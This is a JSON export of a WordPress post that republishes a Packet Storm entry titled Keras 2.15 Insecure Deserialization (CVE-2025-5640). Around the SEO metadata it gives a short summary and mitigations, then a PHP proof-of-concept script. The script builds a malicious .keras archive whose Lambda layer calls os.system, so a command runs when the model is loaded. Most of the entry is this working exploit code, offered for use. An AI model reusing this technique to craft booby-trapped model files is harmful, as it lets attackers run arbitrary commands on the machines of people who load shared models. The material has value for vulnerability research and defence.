{"id":31881,"date":"2025-12-18T11:45:17","date_gmt":"2025-12-18T11:45:17","guid":{"rendered":"http:\/\/localhost\/?p=31881"},"modified":"2025-12-18T11:45:17","modified_gmt":"2025-12-18T11:45:17","slug":"keras-215-insecure-deserialization","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31881","title":{"rendered":"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:39:23&#8243;,&#8221;description&#8221;:&#8221;Keras version 2.15 insecure deserialization proof of concept exploit. A security issue in certain versions of Keras allows attackers to craft a malicious model file typically a .keras or HDF5-based model containing unsafe serialization primitives. When&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Keras 2.15 Insecure Deserialization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213014&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-5640&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Keras 2.15 insecure deserialization                                                                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/keras.io\/                                                                                                           |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/202894\/ \\u0026  \\tCVE-2025-5640\\n    \\n    [+] Summary : \\n    \\n    A security issue in certain versions of Keras allows attackers to craft a malicious model file (typically a .keras or HDF5-based model) \\n    containing unsafe serialization primitives. When such a model is loaded, the deserialization process may allow execution of arbitrary functions \\n    or system commands if unsafe layers such as Lambda with custom functions are used.\\n    This issue arises because the framework may deserialize user-defined functions without full sandboxing or validation, enabling attackers to embed object configurations that trigger execution during model loading.\\n    Mitigation requires strict disabling of custom object loading, enforcing safe-load mechanisms, updating to patched versions, and avoiding untrusted model files\\n                  \\n    \\t\\t\\t\\n    [+]  POC : php poc.php\\n    \\n    \\u003c?php\\n    class SimpleKerasExploit {\\n        public function createMaliciousModel($outputFile = \\&#8221;malicious_model.keras\\&#8221;) {\\n            $tempDir = sys_get_temp_dir() . &#8216;\/keras_&#8217; . uniqid();\\n            mkdir($tempDir, 0755, true);\\n            \\n            \/\/ Create config\\n            $config = array(\\n                \\&#8221;class_name\\&#8221; =\\u003e \\&#8221;Functional\\&#8221;,\\n                \\&#8221;config\\&#8221; =\\u003e array(\\n                    \\&#8221;name\\&#8221; =\\u003e \\&#8221;pwned_model\\&#8221;,\\n                    \\&#8221;layers\\&#8221; =\\u003e array(\\n                        array(\\n                            \\&#8221;class_name\\&#8221; =\\u003e \\&#8221;Lambda\\&#8221;,\\n                            \\&#8221;config\\&#8221; =\\u003e array(\\n                                \\&#8221;name\\&#8221; =\\u003e \\&#8221;evil_lambda\\&#8221;,\\n                                \\&#8221;function\\&#8221; =\\u003e array(\\n                                    \\&#8221;class_name\\&#8221; =\\u003e \\&#8221;function\\&#8221;,\\n                                    \\&#8221;config\\&#8221; =\\u003e array(\\n                                        \\&#8221;module\\&#8221; =\\u003e \\&#8221;os\\&#8221;,\\n                                        \\&#8221;function_name\\&#8221; =\\u003e \\&#8221;system\\&#8221;,\\n                                        \\&#8221;registered_name\\&#8221; =\\u003e null\\n                                    )\\n                                ),\\n                                \\&#8221;arguments\\&#8221; =\\u003e array(&#8216;touch \/tmp\/pwned_simple.keras&#8217;)\\n                            )\\n                        )\\n                    )\\n                )\\n            );\\n            \\n            file_put_contents($tempDir . &#8216;\/config.json&#8217;, json_encode($config));\\n            file_put_contents($tempDir . &#8216;\/metadata.json&#8217;, json_encode(array(\\&#8221;keras_version\\&#8221; =\\u003e \\&#8221;2.15.0\\&#8221;)));\\n            \\n            $zip = new ZipArchive();\\n            if ($zip-\\u003eopen($outputFile, ZipArchive::CREATE) === TRUE) {\\n                $zip-\\u003eaddFile($tempDir . &#8216;\/config.json&#8217;, &#8216;config.json&#8217;);\\n                $zip-\\u003eaddFile($tempDir . &#8216;\/metadata.json&#8217;, &#8216;metadata.json&#8217;);\\n                $zip-\\u003eclose();\\n                echo \\&#8221;\u2705 Malicious model created: $outputFile\\\\n\\&#8221;;\\n            }\\n            \\n            \/\/ Cleanup\\n            array_map(&#8216;unlink&#8217;, glob(\\&#8221;$tempDir\/*\\&#8221;));\\n            rmdir($tempDir);\\n        }\\n    }\\n    \\n    $exploit = new SimpleKerasExploit();\\n    $exploit-\\u003ecreateMaliciousModel();\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213014&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:4.8,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:L\/AC:L\/AT:N\/PR:L\/UI:N\/VC:N\/SC:N\/VI:N\/SI:N\/VA:L\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:L&#8221;,&#8221;baseScore&#8221;:3.3,&#8221;baseSeverity&#8221;:&#8221;LOW&#8221;,&#8221;attackVector&#8221;:&#8221;LOCAL&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;LOW&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;NONE&#8221;,&#8221;integrityImpact&#8221;:&#8221;NONE&#8221;,&#8221;availabilityImpact&#8221;:&#8221;LOW&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213014\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:39:23&#8243;,&#8221;description&#8221;:&#8221;Keras version 2.15 insecure deserialization proof of concept exploit. A security issue in certain versions of Keras allows attackers to craft a malicious model file&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,75,12,21,13,53,7,11,5],"class_list":["post-31881","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-48","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31881\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:39:23&#8243;,&#8221;description&#8221;:&#8221;Keras version 2.15 insecure deserialization proof of concept exploit. A security issue in certain versions of Keras allows attackers to craft a malicious model file...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31881\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-18T11:45:17+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31881#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31881\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014\",\"datePublished\":\"2025-12-18T11:45:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31881\"},\"wordCount\":583,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-4.8\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31881#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31881\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31881\",\"name\":\"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-18T11:45:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31881#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31881\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31881#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31881","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:39:23&#8243;,&#8221;description&#8221;:&#8221;Keras version 2.15 insecure deserialization proof of concept exploit. A security issue in certain versions of Keras allows attackers to craft a malicious model file...","og_url":"https:\/\/zero.redgem.net\/?p=31881","og_site_name":"zero redgem","article_published_time":"2025-12-18T11:45:17+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31881#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31881"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014","datePublished":"2025-12-18T11:45:17+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31881"},"wordCount":583,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-4.8","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31881#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31881","url":"https:\/\/zero.redgem.net\/?p=31881","name":"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-18T11:45:17+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31881#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31881"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31881#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Keras 2.15 Insecure Deserialization_PACKETSTORM:213014"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31881","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31881"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31881\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31881"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31881"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31881"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}